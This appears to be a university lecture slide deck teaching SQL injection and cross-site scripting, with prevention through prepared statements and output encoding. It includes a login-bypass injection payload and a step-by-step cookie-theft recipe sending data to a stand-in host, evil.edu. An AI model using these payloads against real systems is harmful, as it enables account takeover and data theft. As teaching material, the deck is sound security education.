

# SQL INJECTION + CROSS-SITE SCRIPTING

---

MST(3K)

# What is SQL

- Structured Query Language
  - “The standard language for relational database management systems” (ANSI)
- Mostly a declarative language
- Handles data *definition* and *manipulation*
  - Inserting/updating/deleting data and retrieving specific data based on *queries*

# What is SQL

```
CREATE TABLE Persons (  
    PersonID int,  
    LastName varchar(255),  
    FirstName varchar(255),  
    Address varchar(255),  
    City varchar(255)  
);
```

# Inserting Data

```
INSERT INTO Customers (CustomerName,  
ContactName, Address, City, PostalCode,  
Country) VALUES ('Cardinal','Tom B. Erichsen',  
'Skagen 21', 'Stavanger', '4006', 'Norway');
```


## Querying Data

```
SELECT name, city, state  
FROM suppliers  
WHERE num_products > 1000  
ORDER BY name ASC, city DESC;
```

# Important Points

- SQL is a true language
  - `SELECT name FROM world WHERE population > (SELECT population FROM world WHERE name='Romania')`
  - [http://wiki.postgresql.org/wiki/Mandelbrot\\_set](http://wiki.postgresql.org/wiki/Mandelbrot_set)
- **Data and query exist in same string**
  - This is where the problem lies

# SQL Injection




Username or Email: johnsmith

Password: mypassword

Register

Lost Password?



```
SELECT * FROM `users`  
WHERE `username` = 'johnsmith'  
AND `password` = 'mypassword'
```

# SQL Injection

Username or Email	<input type="text" value="johnsmith"/>	Register
Password	<input type="password" value="mypassword"/>	Lost Password?



```
SELECT * FROM `users`  
WHERE `username` = 'johnsmith'  
AND `password` = 'mypassword'
```

Username or Email	<input type="text" value="' OR 1 = 1; /*"/>	Register
Password	<input type="password" value="*/ --"/>	Lost Password?



```
SELECT * FROM `users`  
WHERE `username` = '' OR 1 = 1; /*'  
AND `password` = '*/ --'
```



# [Example]

<https://hackerone.com/reports/150156>

# [Demo]

<http://54.86.3.162:8080>

# How to prevent SQL injection

- What if we just escape the user input?
  - Must be sure not to miss anything
  - Make sure escaping works correctly
  - Involves database-specific code

NUL	( 0x00 )	-->	\0
BS	( 0x08 )	-->	\b
TAB	( 0x09 )	-->	\t
LF	( 0x0a )	-->	\n
CR	( 0x0d )	-->	\r
SUB	( 0x1a )	-->	\Z
"	( 0x22 )	-->	\ "
%	( 0x25 )	-->	\%
'	( 0x27 )	-->	\ '
\	( 0x5c )	-->	\\
_	( 0x5f )	-->	\_

# How to *actually* prevent SQLi

- We need to separate data and query
- Idea: Tell the database what the query is, with placeholders for data
  - After it has compiled the query, pass the data and execute
- This is called **prepared statements**
- It's actually faster too!
  - Query code can be prepared once and cached

# Example in PHP

```
1  <?php
2  $stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (:name, :value)");
3  $stmt->bindParam(':name', $name);
4  $stmt->bindParam(':value', $value);
5
6  // insert one row
7  $name = 'one';
8  $value = 1;
9  $stmt->execute();
10
11 // insert another row with different values
12 $name = 'two';
13 $value = 2;
14 $stmt->execute();
15 ?>
16
```

# Cross-site Scripting (XSS)

# Cross-site Scripting (XSS)

- Cross-site scripting is a vulnerability where the attacker executes their custom code on the client's computer
- In the context of the web, usually involves running JavaScript in the client browser to do evil stuff
- Some important types of XSS
  - **Reflected XSS:** Malicious code is passed in via a URL or header
  - **Persistent XSS:** Malicious code is saved on the server, and passed every time when users access that path

# (Reflected) XSS in code



```
1  <html>
2  <head>
3      <title>My personal website!!</title>
4  </head>
5  <body>
6  Hello, my name is NAME_VAL
7  </body>
8  </html>
9
```

# (Reflected) XSS in code



```
1  <html>
2  <head>
3      <title>My personal website!!</title>
4  </head>
5  <body>
6  Hello, my name is NAME_VAL
7  </body>
8  </html>
9
```



# HTTP Cookies

- Small bits of information stored on the client by websites
  - Wide variety of uses
  - Store user preferences
  - Track users in general (advertising)
  - Track status (whether or not they are logged in)
- Where are they stored?
  - Stored by the browser
  - But passed to server with every request

Google

https://www.google.com/webhp?hl=en

Cyrus

# Google

Google Search I'm Feeling Lucky

Advertising Business About Privacy Terms Settings

Elements Network Sources Timeline Profiles Resources Audits Console HTTPS Everywhere

1

Name	Value	Domain	Path	Expires / M...	Size	HTTP	Secure
APISID	HHaDPNOiQitAxPC-/AJW9GLWVTmBRX1Zfx	.google.com	/	2016-09-1...	40		
HSID	AsBdFqOxqQf9H9Q6L	.google.com	/	2016-09-1...	21	✓	
NID	67=E-1fr71Y-USSdQHgITCVAKfGUSL8VdEC5PnxU7Kcs68-ls7O5bSTW34...	.google.com	/	2015-10-0...	238	✓	
OTZ	2767411_72_76_104100_72_446760	apis.google...	/	2015-05-0...	33		✓
PREF	ID=d2f17e3ea63f3c42:U=72e80c1e12eedb0e:FF=4:LD=en:TM=1410467...	.google.com	/	2017-03-3...	105		
SAPISID	7YhUmjVEP32_GaSM/A2tPhdWd8MOVu6cII	.google.com	/	2016-09-1...	41		✓
SID	DQAAABgBAAA21qa1TuuC0mgAm26C5_SPlcpybeB1jd0PY_KRmVOW5j3Q...	.google.com	/	2017-04-0...	398		
SSID	ABo7-q3ULXCTOYykX	.google.com	/	2016-09-1...	21	✓	✓

Console Search Emulation Rendering

<top frame> Preserve log

# Putting it all together

1. Get your code running on the client's browser
2. Make a call to your domain (<http://evil.edu>) with the cookie data
3. Use the cookie in your own browser and pretend to be the target user!

```
<script>document.write('');</script>
```

[Example]

<https://hackerone.com/reports/82725>

[Example]

<https://hackerone.com/reports/125791>

[Example]

<https://hackerone.com/reports/46072>

[Demo]

<http://54.86.3.162:8888>

# How to prevent XSS

- Encode user output before printing it out
- When do you encode?
  - Before putting it in the database?
  - After putting it in the database?

ASCII characters	HTML Encoded
<	&lt;
>	&gt;
&	&amp;
Single Quote (')	&#039;
Double Quote (")	&quot;

# Homework

- Complete a challenge from <http://54.86.3.162:8080> (sql), <http://54.86.3.162:8888> (xss), or <http://websec.fr/>
- Send a brief (1-paragraph) email on the challenge you completed and how you solved it to [cm7bv@virginia.edu](mailto:cm7bv@virginia.edu) with the subject “MST Assignment 13 - <YOUR\_UVA\_ID>”
- **Don't hesitate to ask questions**

# Resources to look at

- <https://www.google.com/about/appsecurity/learning/xss/>
- <http://www.w3schools.com/sql/default.asp>
- [http://www.w3schools.com/sql/sql\\_injection.asp](http://www.w3schools.com/sql/sql_injection.asp)
- <https://www.exploit-db.com/papers/17934/>
- <http://pentestmonkey.net/category/cheat-sheet/sql-injection>